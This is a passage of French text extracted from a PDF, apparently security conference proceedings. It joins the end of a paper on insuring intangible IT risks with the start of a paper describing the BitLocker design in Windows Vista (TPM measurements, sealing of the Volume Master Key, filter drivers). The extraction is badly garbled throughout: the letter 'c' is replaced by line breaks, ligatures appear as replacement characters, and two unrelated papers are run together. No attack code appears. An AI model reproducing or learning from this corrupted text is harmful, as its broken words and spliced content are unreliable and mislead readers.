ter l'intégralité des

législations nationales de par le monde.

En 
on
lusion, si les a
tivités liées aux te
hnologies numériques ont fait apparaître de nouveaux

types de risques, dans un grand nombre de 
as, 
e sont des risques 
lassiques qui se trouvent

démultipliés et ampli�és par le re
ours à 
e nouveau support.
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2.2 Un dépla
ement du risque : de l'atteinte physique à l'atteinte logique et

in
orporelle

Parallèlement à la migration de la valeur vers l'immatériel, on assiste depuis une vingtaine d'an-

nées à une modi�
ation de l'environnement hostile qui 
on
erne les sour
es de pertes o

asionnées

aux entreprises. La malveillan
e, qu'elle soit inspirée par des motifs mer
antiles ou des intentions

purement malignes, 
ontinue de 
roître pour prendre des formes de plus en plus inquiétantes, 
omme

en témoigne l'a
tualité la plus ré
ente. Sans né
essairement faire preuve de sensationnalisme, nous

assistons à une es
alade dans les attaques logiques 
ontre les systèmes d'information des entreprises

ou des administrations, ave
 le fran
hissement d'une nouvelle étape : le réseau lui-même devient la


ible, ave
 un obje
tif de paralysie à l'é
helle mondiale !

Cependant, tous les a
teurs é
onomiques ne sont pas logés à la même enseigne dans l'é
helle des

risques en
ourus. En 
onséquen
e, gérer le risque lié à l'environnement numérique et pesant sur les

biens in
orporels implique une analyse spé
i�que à 
haque utilisateur.

2.3 Les types d'a
tivités à risques

Les expositions aux risques varient en fon
tion de 
haque type d'a
tivités. Néanmoins, il est

possible de mettre en éviden
e un 
ertain nombre de fa
teurs de risques et 
orrélativement des

impa
ts spé
i�ques, 
omme le montrent les exemples suivants :

1. Dépendan
e à une te
hnologie 
omplexe qui peut être fragile et insu�samment testée pour sa

toléran
e aux défauts : dans 
e domaine où l'innovation produit et la 
ommuni
ation marketing

sont essentielles, il faut aller vite et � sortir � le premier.

2. Con
entration d'a
tivités et de servi
es auparavant é
latés, voire externalisés : publi
ité, paie-

ment, livraison. . .

3. Né
essité te
hnique de 
onne
ter des systèmes internes 
ritiques au monde extérieur :

� 
ontr�le des 
ommandes et des inventaires ;

� 
omptabilité et paiement ;

� système de 
ontr�le d'a

ès ;

� système d'identi�
ation et d'authenti�
ation.

4. Risque a

ru de fraude te
hnologique ; dé�s de ha
king 
iblant des entreprises 
onnues ou for-

tement protégées.

5. Extension de la législation du droit d'auteur aux logi
iels, au 
ontenu et aux appli
ations 
om-

mer
iales ; fréquen
e a

rue des litiges fondés sur le droit d'auteur, nature 
omplexe de 
es

droits dans le monde.

2.4 Les risques immatériels sus
eptibles d'être 
ouverts par un 
ontrat d'assuran
e

Fraude informatique Enlèvement fautif de biens matériels (argent, titres boursiers et autres

biens) et immatériels (servi
es, propriété intelle
tuelle et données) e�e
tué par les salariés ou les

non-salariés.

Vol de données éle
troniques et d'a
tifs éle
troniques Enlèvement fautif du 
ode logi
iel, des

informations sur les fournisseurs, des informations 
on�dentielles ou propriétaires, dont la propriété

intelle
tuelle, le 
ode sour
e, les données 
lients, les informations éle
troniques du fait d'un a

ès

non autorisé ou d'une utilisation non autorisée des réseaux informatiques.
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Vol des ressour
es du système d'information Les ressour
es informatiques ou télé
oms sont

utilisées à des �ns non o�
ielles et non autorisées.

Divulgation d'a
tifs éle
troniques Divulgation non autorisée d'informations propriétaires ou


on�dentielles enregistrées sous format éle
tronique, résultant d'un délit informatique, d'un a
te

malveillant (attaque), ou d'une erreur non intentionnelle de la part du personnel informatique

autorisé dans l'exer
i
e normal de ses fon
tions.

A
tes malveillants (attaques) Modi�
ation ou dégâts 
ausés aux systèmes ou aux données dans

le but de nuire, de saboter, d'agir de façon malveillante, de se venger, par motivation politique ou

so
iale, pour faire une far
e ou s'amuser.

Endommagement des informations éle
troniques À 
ause d'une erreur humaine ou du fait

d'un a
te ou d'une erreur non intentionnels de la part du personnel informatique autorisé dans

l'exer
i
e normal de ses fon
tions.

Code nuisible Implantation, introdu
tion, et di�usion de virus informatiques, de bombes logiques,

de 
hevaux de Troie et d'autres formes de 
ode malveillant.

Déni de servi
e Une attaque 
ause la dégradation des performan
es ou la perte du servi
e (in-

terruption de servi
e ou arrêt) d'un site Web ou d'une appli
ation réseau.

Perte de servi
e Arrêt du système informatique, � 
rash �, dégradation des performan
es du fait

d'une erreur non intentionnelle de la part du personnel informatique autorisé dans l'exer
i
e normal

de ses fon
tions.

Interruption du servi
e hors site Dangers physiques (tels que les ouragans et les in
endies),

les attaques, les a

idents, et le dysfon
tionnement de l'infrastru
ture de 
ommuni
ation du réseau,

dont les satellites, les lignes téléphoniques, les 
âbles, les lignes éle
triques et les 
âbles optiques.

Risques liés au e-
ommer
e Authenti�
ation (validité d'une transmission, du message ou de

l'expéditeur), non-répudiation (servi
e 
ryptographique qui empê
he légalement l'expéditeur d'un

message ou l'a
heteur de nier être l'auteur du message ou de nier la transa
tion à une date ulté-

rieure).

Courrier éle
tronique d'entreprise Le type d'informations et le 
ontenu des 
ourriers éle
tro-

niques peuvent être inter
eptés par des personnes non autorisées lors de litiges ave
 des tiers et

des salariés. Les défaillan
es de la sé
urité (par ex. : mots de passe et 
ryptage) peuvent amener

à la divulgation d'informations propriétaires (espionnage industriel possible) ou en une situation

embarrassante.
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2.5 L'assuran
e du patrimoine informationnel

Aujourd'hui, les é
hanges é
onomiques se dématérialisent et passent du monde réel au monde

virtuel. De simple outil, le système d'information se pla
e au 
÷ur de l'entreprise et 
onstitue un

élément essentiel de sa 
ompétitivité, inter
onne
té ave
 des réseaux externes. Système nerveux

et mémoire de l'entreprise, élément souvent 
ru
ial de sa 
ompétitivité, il fait l'objet de mesures

de sé
urité préventives. Les estimations réalisées montrent que le budget a�e
té à la prévention


onstitue de 10 à 20 % du budget informatique, lequel souvent représente de 1 à 2 % du 
hi�re

d'a�aires.

Au-delà d'un 
ertain niveau, les investissements supplémentaires dans la prévention perdent de

leur e�
a
ité. En outre, 
elle-
i ne parviendra jamais à prendre en 
ompte l'ensemble des aléas,

dont le fa
teur humain. Se pose alors la question du 
hoix entre prévention et assuran
e dans le


adre d'une appro
he globale de la sé
urité et du budget qui lui est 
onsa
ré.

Les 
ouvertures d'assuran
es doivent don
 intégrer le � 
apital information � indispensable à

l'a
tivité des entreprises :

1. les données né
essaires à la transa
tion 
ommer
iale ;

2. le patrimoine 
onstitué par le système d'information.

Pourtant, les réponses des assureurs en matière de 
ouvertures immatérielles sont longtemps restées

mor
elées, les garanties proposées étant soit des extensions dans le 
adre de 
ontrats � Tous Risques

Informatiques � ex
luant systématiquement les risques logiques, soit des extensions � Sabotage

Informatique � à partir de prote
tions � Fraude � ex
luant alors toute autre forme de malveillan
e.

En�n, le montant des garanties a

ordées ne reposait pas sur une valorisation préalable de la matière

assurée et se révélait la plupart du temps très insu�sant.

Ces dommages sont aujourd'hui assurables à partir des poli
es d'assuran
e dédiées, proposant

des 
apa
ités 
roissantes. Ce nouveau 
on
ept d'assuran
e a

orde aux entreprises une prote
tion

�nan
ière e�
a
e 
ontre l'ensemble des vulnérabilités internes ou d'origine externe, pouvant a�e
ter

l'intégrité et la disponibilité de leur système d'information.

2.6 Le 
adre général des poli
es dédiées

Généralement de type � Tous Risques Sauf �, il 
ouvre :

1. les frais supplémentaires d'exploitation informatique, permettant notamment de �nan
er un

plan de se
ours ;

2. les frais supplémentaires additionnels ;

3. les pertes d'exploitation ;

4. ave
, notamment, la prise en 
harge des frais engagés pour re
onstituer les programmes et

données informatiques, même en l'absen
e de sauvegardes exploitables.

Cette garantie peut être mise en jeu lorsque l'information a été détruite, altérée, volée ou perdue,

et 
e quels que soient :

1. le type de sinistre (in
endie, dégât des eaux, sabotage, virus, intrusion par les réseaux ouverts

tels qu'Internet, 
aren
e de réseaux externes...) ;

2. la nature de l'information (progi
iels, développements spé
i�ques, CAO-DAO, bases de données,

paramétrages...) ;
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3. le média utilisé (disques, bandes...).

Sont 
onsidérées par les 
ompagnies d'assuran
e 
omme dommages immatériels informatiques

les atteintes à la disponibilité et à l'intégrité d'un système d'information pouvant entraîner des

pertes pé
uniaires :

1. qu'il y ait ou non atteinte à l'intégrité physique de l'outil informatique ou d'un support d'in-

formations ;

2. que les événements dommageables résultent d'une erreur de manipulation ou de pupitrage des

supports de données ou d'un a
te de malveillan
e.

Il s'agit de 
ouvrir :

1. les frais de re
onstitution des informations détruites ou altérées ;

2. les frais supplémentaires d'exploitation informatique ;

3. les pertes d'exploitation ou de marge brute d'exploitation ;

4. les pertes indire
tes (intérêts débiteurs, intérêts 
réditeurs, pénalités 
ontra
tuelles) ;

5. les frais de re
her
he, d'expertise, de dé
ontamination des données infe
tées ;

6. les pertes de valeurs suite à fraude ;

7. les pertes d'image ;

8. la gestion de 
rise.

2.7 Cas parti
ulier de l'assuran
e des entreprises 
lientes : notion de � Dommages

Pour Compte �

Une évolution ré
ente du 
on
ept d'assuran
e du patrimoine informationnel a permis d'envisager

la 
ouverture des entreprises utilisatri
es de produits et servi
es di�usés par la so
iété assurée

sur des bases 
ontra
tuelles dites de � Dommages Pour Compte �, le prestataire ayant transféré

à l'assuran
e pour �nan
ement les risques en
ourus par ses 
lients dans le 
adre d'une rupture

de servi
es en dehors de toute né
essité immédiate de re
her
he en responsabilité du prestataire

à l'origine des préjudi
es subis dans des délais rapides en 
ombinaison, le 
as é
héant, ave
 des


ouvertures Responsabilité Civile pour augmenter la 
apa
ité indemnitaire en 
as de faute avérée.

L'obje
tif re
her
hé n'est pas tant la sé
urisation du 
lient �nal en lui garantissant la bonne �n

de l'opération réalisée ou de la prestation délivrée que la préservation de l'image de marque de la

so
iété prestataire.

A partir d'une 
ouverture d'assuran
e dédiée à la relation 
ontra
tuelle prestataire/
lient, le

prestataire peut arti
uler et, éventuellement, étendre sa limitation 
ontra
tuelle d'indemnité en

proposant, dans le 
adre de son 
ontrat 
ommer
ial, le �nan
ement :

1. de solutions palliatives matérielles et informationnelles dans l'hypothèse où la te
hnologie in-

formatique ou le servi
e asso
ié est détruit ou indisponible ;

2. des pertes d'a
tivités 
onsé
utives au préjudi
e subi, tant en frais supplémentaires qu'en pertes

d'exploitation.

Ces di�érents types de risques, bien qu'ayant des faibles probabilités d'o

urren
e en raison

de la qualité des te
hnologies déployées et des sé
urités organisationnelles mises en pla
e, peuvent

générer une 
rise majeure 
ar la 
on�an
e dans l'ensemble de la 
haîne te
hnologique sera remise

en 
ause par les utilisateurs.
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La réponse à de tels 
as ne peut résider uniquement dans un transfert �nan
ier du risque vers

des tiers, en raison, d'une part, de l'impa
t sur l'image et la marque, et, d'autre part, par
e que

la survie de l'entreprise dépend moins de sa 
apa
ité à indemniser des tiers que de son aptitude à

réagir e�
a
ement à 
ette 
rise.
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Abstra
t. BitLo
ker

TM
est la première mise en ÷uvre des spé
i�
ations de la version 1.2

du TCG (Trusted Computing Group) au sein de la plateforme Windows et permet d'e�e
tuer le


hi�rement 
omplet d'un volume disque au niveau se
teur a�n d'o�rir une prote
tion 
ontre les

attaques logi
ielles réalisées en mode dé
onne
té. Cette fon
tionnalité repose sur la mise en ÷uvre

d'algorithmes de 
hi�rement AES 
omplémentés par un algorithme de di�usion spé
i�que appelé

Elephant [6℄.

1 Introdu
tion

En juin 2002, Mi
rosoft annonçait les premiers éléments du projet � Palladium �. En janvier

2003 Mi
rosoft annonçait sa volonté de 
hanger le nom de � Palladium � en Next-Generation

Se
ure Computing Base (NGSCB). Windows

r© BitLo
ker

TM

est la première mise en ÷uvre de


ette génération de te
hnologies qui vise à an
rer la 
on�an
e du logi
iel dans le hardware.

Windows

r© BitLo
ker

TM

Drive En
ryption (appelé dans la suite BitLo
ker BDE ou tout sim-

plement BDE et 
onnu pré
édemment sous le nom de Se
ure Startup � Full Volume En
ryption

et sous le nom de projet � Cornerstone � [3℄, [4℄, [5℄) est une fon
tionnalité disponible ave
 les

éditions Enterprise et Ultimate de Windows Vista. BitLo
ker BDE e�e
tue le 
hi�rement 
omplet

d'un volume disque au niveau se
teur et o�re don
 une prote
tion 
ontre des attaques logi
ielles

en mode o�ine, attaques par lesquelles l'attaquant peut démarrer un autre système d'exploitation

et a

éder ainsi au disque dire
tement pour en extraire les informations qu'il 
ontient. BDE est


onçu pour o�rir une prote
tion (
on�dentialité) 
ontre le vol ou la perte d'ordinateurs portables

ou d'ordinateurs dont la sé
urité physique est insu�sante.

Note importante : Les informations fournies dans le présent do
ument se fondent sur une version

préliminaire de Windows Vista (pré-beta 2) ; 
elles-
i peuvent don
 être soumises à 
hangement et


e, jusqu'à la mise à disposition du logi
iel dans sa version �nale.

2 BitLo
ker

TM
, TPM et TCG

BitLo
ker

TM

Drive En
ryption est une fon
tionnalité utilisant de manière optionnelle un TPM

(Trusted Platform Module) tel que spé
i�é par le TCG

1

a�n de protéger les données de l'utilisateur

et pour s'assurer que le 
ontenu du disque dur d'un ordinateur exé
utant Windows Vista n'a pas

été altéré alors que le système était o�ine. BDE fournit aux utilisateurs mobiles un bon niveau de

prote
tion de données en 
as de perte ou de vol de système.

1

TPM 1.2 - https://www.trusted
omputinggroup.org/groups/tpm/.
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BDE améliore la se
urite des données en mettant en ÷uvre deux fon
tionnalités majeures : le


hi�rement de volume (CV) et le Contr�le d'Intégrité des premiers 
omposants d'Amorçage (CIA).

� CV protège les données en interdisant aux utilisateurs non autorisés de 
asser la prote
tion

Windows des �
hiers ou du système sur des ordinateurs perdus ou volés. Cette prote
tion est

obtenue en 
hi�rant la totalité du volume Windows. Ave
 une telle fon
tionnalité, tous les

�
hiers utilisateur et tous les �
hiers système sans ex
eption sont 
hi�rés.

� CIA assure que le dé
hi�rement des données n'est e�e
tué que si les 
omposants initiaux de

l'amorçage ont passé un 
ontr�le d'intégrité.

BDE o�re aussi des 
apa
ités d'extension et de management en exposant une interfa
e WMI et

en o�rant des 
apa
ités d'é
riture de s
ripts.

BDE est 
onçu prin
ipalement pour utiliser la prote
tion matérielle o�erte par le TPM (Trusted

Platform Module) version 1.2. Un TPM est une pu
e matérielle inviolable (dans les limites o�ertes

par l'implémentation du matériel 
onsidéré) disponible sur la plateforme hardware et qui fournit le

niveau d'attestation ma
hine et le niveau de 
on�an
e né
essaire pour assurer le sto
kage matériel

des se
rets et interdire un a

ès inapproprié à des informations 
on�dentielles et sensibles. Les TPM

reposent sur des te
hnologies ouvertes et standardisées qui assurent l'interopérabilité de di�érents

produits de sé
urité dans un environnement hétérogène.

En utilisant le TPM 
omme solution matérielle pour protéger les 
lés, la partition Windows

toute entière peut être 
hi�rée, y 
ompris les �
hiers d'hibernation et de pagination, les �
hiers

temporaires et les �
hiers de dump.

2.1 BitLo
ker

T M
et l'amorçage du système

BDE utilise les fon
tionnalités du TPM, et plus spé
i�quement le mé
anisme de Stati
 Root of

Trust Measurement (SRTM) du �rmware d'amorçage (dé�ni par le TCG), par lequel la 
on�an
e

peut être établie à partir de � mesures � e�e
tuées au sein du pro
essus de démarrage a�n de


onstruire une empreinte du système au sein des Platform Con�guration Registers, ou PCR du

TPM. La �gure 1 illustre le Stati
 Root of Trust Measurement des premiers 
omposants d'amor-

çage. Dans le modèle SRTM, la 
on�an
e est établie en prenant des � mesures � du système

quand 
elui est supposé être sûr. Les mé
anismes de SRTM sont dé�nis dans le do
ument TCG

v1.2 PC Client Implementation Spe
i�
ation for Conventional BIOS, disponible en https://www.

trusted
omputinggroup.org/spe
s/PCClient/.

La séquen
e d'amorçage initiale dans le 
as d'un BIOS 
onventionnel fon
tionne de la façon

suivante :

� Après un reset du système, les PCR 0 à 15 du TPM sont réinitialisés et l'on transfère l'exé-


ution à une portion digne de 
on�an
e du �rmware. Cette portion digne de 
on�an
e du

�rmware en 
ombinaison ave
 le hardware est 
onnue sous le nom de Core Root of Trust Mea-

surement (CRTM). Cette portion du �rmware peut uniquement être � �ashée � à nouveau

dans un environnement 
ontr�lé et approuvé par le fabriquant du système.

� Le 
ode du CRTM � mesure � la pro
haine étape du �rmware dans PCR [0℄ avant de l'exé-


uter. C'est typiquement la portion du �rmware utilisé pour tester et 
on�gurer des éléments


ritiques du hardware 
omme la mémoire. Au fur et à mesure de l'exé
ution du pro
essus

d'amorçage, davantage de 
ode est � mesuré � et enregistré dans PCR [0℄. Le prin
ipe fonda-

mental sous-ja
ent est que le 
ode est toujours � mesuré � avant d'être exé
uté. Après qu'une

� mesure � ait été enregistrée dans un PCR, 
ette valeur est 
onsidérée 
omme permanente

et ne peut être altérée. La nouvelle valeur du PCR est le hash (SHA-1) résultant de la 
on
a-

ténation des 
ontenus pré
édents et de la nouvelle � mesure � (SHA-1 or PCR[x℄ || data).
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Fig. 1. Stati
 Root of Trust Measurement des premiers 
omposants d'amorçage

Tant que 
haque portion de 
ode s'assure que tout nouveau 
ode est � mesuré � avant son

exé
ution, on peut maintenir la 
haîne de 
on�an
e en en
rant 
ette 
haîne dans le hardware.

� Le �rmware � mesure � le 
ode optionnel en le
ture seule (read only 
ode) dans PCR [2℄. Les

ROM optionnelles peuvent également � mesurer � d'autre 
ode en PCR [2℄. Finalement, le

�rmware � mesure � la portion de 
ode du Master Boot Re
ord (MBR) en PCR [4℄ et la table

de partitions en PCR [5℄.

� Le MBR prend alors le 
ontr�le du pro
essus d'amorçage en déterminant la partition a
tive,

en 
hargeant le premier se
teur de la partition d'amorçage en mémoire et en � mesurant � les

512 premiers o
tets de 
e se
teur en PCR [8℄. Le MBR transfère alors l'exé
ution à 
e se
teur

d'amorçage.

� Le se
teur d'amorçage de la partition a
tive 
harge et � mesure � le restant du 
ode d'amorçage

dans PCR [9℄ avant de lui transférer l'exé
ution.

� Après que le 
ode d'amorçage ait trouvé et 
hargé BOOTMGR, il � mesure � BOOTMGR

dans PCR [10℄ avant de lui transférer l'exé
ution. On peut noter que dans le 
as d'un futur 
ode

d'amorçage basé sur EFI (Extensible Firmware Interfa
e), BOOTMGR sera plut�t � mesuré �

dire
tement dans PCR [4℄ et PCR [8℄, PCR [9℄ et PCR[10℄ n'étant pas utilisés.

� BOOTMGR 
ontr�le l'intégrité de toute appli
ation d'amorçage pour 
e qui 
on
erne les

volumes protégés par BDE et s'assure du maintien de l'intégrité lors de l'a

ès au volume

protégé par BDE après que BOOTMGR ait gagné l'a

ès à la partition. Si le Root of Trust

Measurement avant 
e point est invalide, alors au
un des volumes protégés par BDE n'est

a

essible. Après avoir des
ellé le Volume Master Key, PCR [11℄ (qui au moment du des
elle-

ment 
ontient zéro) est rempli ave
 une valeur aléatoire a�n que soit préservée la restri
tion

d'a

ès aux se
rets de BDE.
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BOOTMGR transfère le 
ontr�le au loader du système d'exploitation pour le volume spé
i�é

et 
e loader 
ontr�le l'intégrité de tous les 
omposants Windows avant de transférer le 
ontr�le au

système d'exploitation. Le système d'exploitation 
ontr�le alors l'intégrité de tous les exé
utables

qui seront 
hargés, y 
ompris 
eux qui sont 
on
ernés par la réalisation d'un logon authenti�é.

2.2 2.1 Mesures, s
ellement, des
ellement et 
lés

Lors de la mise sous tension, tous les PCR sont mis à zéro. Les PCR ne sont modi�és uniquement

que par la fon
tion � extend � qui positionne e�e
tivement le 
ontenu d'un PCR au hash de son

an
ienne valeur et d'une 
haîne de 
ara
tère qui lui est fournie 
omme donnée. On peut don
 voir

le 
ontenu d'un PCR 
omme 
orrespondant à un hash e�e
tué sur toutes les 
haînes de données

qui ont été fournies lors des appels à la fon
tion extend pour 
e PCR. Il n'y a au
un mé
anisme

permettant de positionner la valeur d'un PCR à un 
ontenu donné, de telle façon que si un PCR a

une valeur x après une série d'extends, la seule façon d'obtenir à nouveau la valeur x est d'e�e
tuer

exa
tement la même séquen
e d'extends après une mise sous tension.

La même te
hnologie fournit le moyen de sé
uriser par 
hi�rement le �
hier d'hibernation (ou

n'importe quel �
hier de dump ou de pagination). Le réveil depuis l'hibernation 
orrespond don


exa
tement à 
e qui se passerait depuis un amorçage traditionnel.

La fon
tion de 
hi�rement de volume de BDE 
hi�re la partition système Windows et s
elle la


lé symétrique dans le TPM. L'opération de s
ellement séquestre e�e
tivement la 
lé au sein du

TPM, de telle façon que lors de pro
hains amorçages, le TPM puisse n'autoriser le des
ellement

de la 
lé symétrique que lors de l'exé
ution d'un 
ode dument spé
i�é sur l'ordinateur 
onsidéré.

Le 
ode spé
i�é en question (qui a la possibilité de des
eller la 
lé symétrique) est déterminé par

les valeurs 
ontenues dans les Platform Con�guration Registers (PCR). Le 
hi�rement de volume

est e�e
tué sur la base d'une granularité par se
teur. Un 
hi�rement par blo
 est utilisé a�n que la

modi�
ation d'un seul o
tet d'un blo
 a�e
te la totalité du blo
 en question.

A�n d'en apprendre davantage sur la façon dont le logi
iel utilise les PCR 
ontenus au sein

d'un TPM, il est possible de 
onsulter la do
umentation du TCG 
itée en référen
e. En général, les

logi
iels tels que BDE � étendent les mesures � des 
omposants d'amorçage initial dans les PCR.

Les nouvelles � mesures � e�e
tuées lors de l'amorçage doivent 
orrespondre aux � mesures � qui

étaient 
ontenues dans les PCR au moment où BDE savait que l'ordinateur était dans un état sûr,

ou bien alors la 
lé ne sera pas des
ellée. De plus, lors du s
ellement, l'appelant peut spé
i�er quels

PCR spé
i�ques doivent être 
omparés ave
 les nouvelles valeurs de � mesure � lors du des
ellement.

De 
ette façon, l'utilisateur peut être assuré que le 
ode introduit par quelqu'un en train d'attaquer

l'ordinateur ne pourra pas s'exé
uter et qu'il ne pourra pas a

éder à des se
rets 
hi�rés sur le

disque.

Les fon
tions seal/unseal du TPM permettent un a

ès séle
tif aux 
lés de 
hi�rement en fon
tion

des valeurs des registres PCR. La fon
tion seal est utilisée pour 
hi�rer une 
lé dans un � blob �

que seul le TPM peut dé
hi�rer. De plus le TPM ne dé
hi�rera le � blob � en question que si

et seulement si les registres PCR séle
tionnés ont la même valeur qu'elles avaient au moment de

l'opération seal. En d'autres termes, on peut sto
ker une 
lé dans un � blob � de telle façon qu'elle

ne puisse être a

édée que lorsque les PCR séle
tionnés ont une valeur parti
ulière.

Le 
hi�rement de BDE est fondé sur une Volume Master Key (VMK) qui est 
réée (générée

aléatoirement) quand BDE est mis en servi
e et 
on�guré pour la première fois. La VMK est protégée

(s
ellée) en utilisant le TPM ainsi que dé
rit pré
édemment et sto
kée sur le disque. Pendant la

séquen
e d'amorçage, le système d'exploitation utilise le TPM pour des
eller la VMK (en se basant
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sur le fait que les PCR 
ontiennent les bonnes valeurs pour authenti�er le 
ode d'amorçage) et

a

ède aux 
lés suivantes qui sont né
essaires pour e�e
tuer le dé
hi�rement et le 
hi�rement lors

des le
tures et des é
ritures sur le disque. La prote
tion fondée sur le TPM de la VMK peut être

améliorée en utilisant un 
ode PIN. Les données dérivées du 
ode PIN fourni par l'utilisateur sont

présentées au TPM 
omme des données d'autorisation a�n de des
eller la VMK, 
e qui permet la

mise en pla
e d'un mé
anisme de sé
urité à deux fa
teurs.

La VMK peut aussi être 
hi�rée à l'aide d'une 
lé externe qui peut être sto
kée sur un péri-

phérique externe 
omme une 
lé USB. Même si BDE a été prin
ipalement 
onçu pour utiliser les

servi
es hardware du TPM, BDE peut être paramétré pour être utilisé sur une ma
hine ne renfer-

mant pas de TPM à travers l'utilisation d'une 
lé externe. Toutefois, quand BDE est paramétré

et 
on�guré sur une ma
hine dont le TPM est en servi
e, BDE requerra et mettra en vigueur la

prote
tion de la VMK à travers le TPM.

La 
lé externe joue aussi le r�le d'une 
lé de ré
upération, 
e qui permet de dépla
er un volume


hi�ré depuis une ma
hine où le TPM est en servi
e vers une autre ma
hine. Après avoir dépla
é

un volume 
hi�ré vers une autre ma
hine, la 
lé externe ou 
lé de ré
upération permet l'a

ès à la

VMK a�n de dé
hi�rer le volume.

BDE o�re également une prote
tion fondée sur un mot de passe pour des fon
tions de ré
upé-

ration. Lors du paramétrage initial, quand l'utilisateur met BDE en fon
tion, un mot de passe de

ré
upération est généré automatiquement et 
e dernier peut être a�
hé, imprimé ou sto
ké dans

un �
hier sur un périphérique externe a�n de permettre une 
onservation sé
urisée (dans un 
o�re)

et autoriser une ré
upération ultérieure. Si la ma
hine rejoint un domaine, le mot de passe peut

être généré en fon
tion d'une politique de groupe (qui peut rendre la 
réation d'un mot de passe de

ré
upération obligatoire) et sto
ké dans l'A
tive Dire
tory de façon transparente pour l'utilisateur.

Quand une ré
upération est né
essaire, l'administrateur peut fournir le mot de passe approprié (en

provenan
e de l'A
tive Dire
tory) à l'utilisateur a�n de permettre le dé
hi�rement de la VMK sur

la ma
hine de l'utilisateur.

BDE fournit également un mode de prote
tion multi-niveau par lequel la VMK est s
ellée à la fois

sur le TPM et sur la 
lé externe, les deux étant né
essaires pour démarrer la ma
hine et amor
er le

système d'exploitation. Dans 
ette 
on�guration, la 
lé externe devient une � 
lé partielle � requise

pour déverrouiller la VMK en plus du TPM.

Dans 
ertaines 
ir
onstan
es, la VMK peut être temporairement s
ellée ave
 une 
lé externe,

appelée � 
lé en 
lair � qui est sto
kée en 
lair sur le disque dur de telle façon que le système

puisse démarrer sans requérir le TPM et/ou le périphérique de sto
kage de la 
lé externe. Ce mode

temporaire sans prote
tion est appelé � disabled mode �. Ce mode est requis quand l'administrateur

est en train de mettre BDE en fon
tion ou de le mettre temporairement hors servi
e (a�n, par

exemple, de mettre à jour le BIOS ou d'autres 
omposants qui sont � mesurés � lors du pro
essus

d'amorçage). Une fois la mise à jour e�e
tuée et que BDE est pla
é à nouveau en � enabled mode �,

la � 
lé en 
lair � est supprimée du disque dur (e�a
ée plusieurs fois).

BDE peut être dans l'un des trois états suivants (tableau 1).

BDE requiert un minimum de deux partitions ou volumes disque en plus du MBR (Master Boot

Re
ord). La première partition, appelée Partition d'Amorçage ou Système (ou volume a
tif) est

le premier volume a

édé quand l'ordinateur démarre. Ce volume 
ontient des �
hiers spé
i�ques

au hardware qui sont né
essaires pour 
harger Windows et 
omprend le boot manager de l'ordi-

nateur (pour 
harger plusieurs systèmes d'exploitation) et des utilitaires d'amorçage. La taille de

la Partition Système sera typiquement aux environs de 350 MO. Bien que la Partition Système
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Turned o� � pas de 
hi�rement Dans 
et état, BDE n'a pas été paramétré ou


on�guré ou n'a pas été mis en servi
e. Tous

les se
teurs du volume sont non 
hi�rés.

Enabled mode � 
hi�ré Dans 
et état, tous les se
teurs du volume

sont 
hi�rés. La Volume Master Key est s
el-

lée dans l'un ou plusieurs des éléments sui-

vants (dépendant de la 
on�guration) : le

TPM (ave
 ou sans 
ode PIN), une 
lé ex-

terne, une 
lé dérivée d'un mot de passe, une


ombinaison de TPM et de 
lé externe.

Disabled mode � 
hi�ré, 
lé en 
lair Dans 
et état, tous les se
teurs du volume

sont 
hi�rés. La Volume Master Key est s
el-

lée dans une � 
lé en 
lair �, 
'est à dire une


lé qui est disponible en 
lair sur le disque

dur.

Tab. 1. Trois états de BDE

puisse être sur le même volume que la Partition du Système d'Exploitation (Volume du Système

d'Exploitation), BDE requiert que 
es deux partitions soient séparées et distin
tes.

La Partition d'Amorçage est non 
hi�rée et sera � mesurée � et 
omparée par rapport au

TPM pour déverrouiller la VMK. Le Partition d'Amorçage 
ontient le se
teur d'amorçage, du 
ode

d'amorçage et le boot manager (an
iennement NTLDR) et 
ontient le support né
essaire pour un

périphérique de sto
kage USB et la possibilité de réaliser des saisies sur le 
lavier.

La Partition du Système d'Exploitation (et les partitions données subséquentes, s'il y en a) est

le volume 
hi�ré qui 
onvient le système d'exploitation, les appli
ations et les données.

3 Ar
hite
ture

BDE est une appli
ation qui utilise l'ar
hite
ture des servi
es du TPM de Windows Vista. Dans

la �gure 2, les 
omposants Servi
es de base du TPM et Driver du TPM sont au 
÷ur des servi
es

du TPM. Le driver du TPM (tpm.sys) est un driver en mode noyau qui est 
onçu pour toutes les

pu
es TPM qui sont 
onformes aux spé
i�
ations du TCG en version 1.2. Cette implémentation,


onforme aux spé
i�
ations du TCG en version 1.2, évite le besoin d'avoir à fournir des drivers

spé
i�ques à 
ha
une des implémentations de TPM et pro
ure don
 une meilleure stabilité et une

meilleure sé
urité de la plateforme. BDE 
ommunique ave
 le TPM dans les phases initiales de

l'amorçage du système d'exploitation à travers un BIOS 
ompatible TPM et à travers le driver du

TPM. TBS (TPM Base Servi
e) est le servi
e qui permet les 
ommuni
ations ave
 le TPM. Il a un

a

ès ex
lusif au driver du TPM : une fois le servi
e démarré, au
un autre servi
e ne peut parler

au TPM.

Le 
hi�rement et le dé
hi�rement de la partition NTFS (dans le 
ours du 
hemin de données

normal) est e�e
tué en mode noyau au sein du driver �ltre fvevol.sys en utilisant AES ave
 une


ou
he de di�usion additionnelle (une méthode appelée Elephant) ainsi que pré
isé plus loin. Comme

tout driver �ltre, fvevol.sys agit 
omme un �ltre de bas niveau entre le driver de bus, volmgr.sys et
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Fig. 2. L'ar
hite
ture simpli�ée du TPM de Windows Vista

le driver de fon
tion volsnap.sys. A 
et empla
ement dans la 
haîne, il peut 
onsommer un volume

logique 
hi�ré BDE (qui peut être 
omposé de une ou plusieurs partitions physiques) et produire

un volume logique dé
hi�ré NTFS qui sera 
onsommé à son tour par le servi
e de volume snapshot.

Le dé
hi�rement et le 
hi�rement est e�e
tué en réponse à des requêtes de le
ture/é
riture disque

qui sont bornées par des frontières de se
teur disque.

La �gure 3 illustre l'ar
hite
ture du système d'exploitation et du noyau dont BDE fait partie. De

plus, le 
hi�rement et le dé
hi�rement en utilisant la méthode Elephant sont également e�e
tués :

� Lors du démarrage au sein du boot manager (bootmgr) qui 
ontient le 
ode d'Elephant grâ
e

à un mode d'édition de lien statique ;

� Pendant la 
onversion de volume (depuis un volume en 
lair vers un volume 
hi�ré ou vi
e

versa) qui est lan
ée au moyen de l'interfa
e homme � ma
hine appropriée ou à travers des

appels WMI à l'API privée (fveapi.dll) ;

� Pendant la fon
tion de retour depuis l'hibernation dans les drivers �ltres : rsmhbr32.exe,

rsmhbr64.exe (en environnement 64 bits) et le �ltre de �
hiers dump : dumpfve.sys.

Les API de BDE (fveapi.dll) fournissent un ensemble d'API privées et non exposées qui sont

réservées à un usage interne pour l'interfa
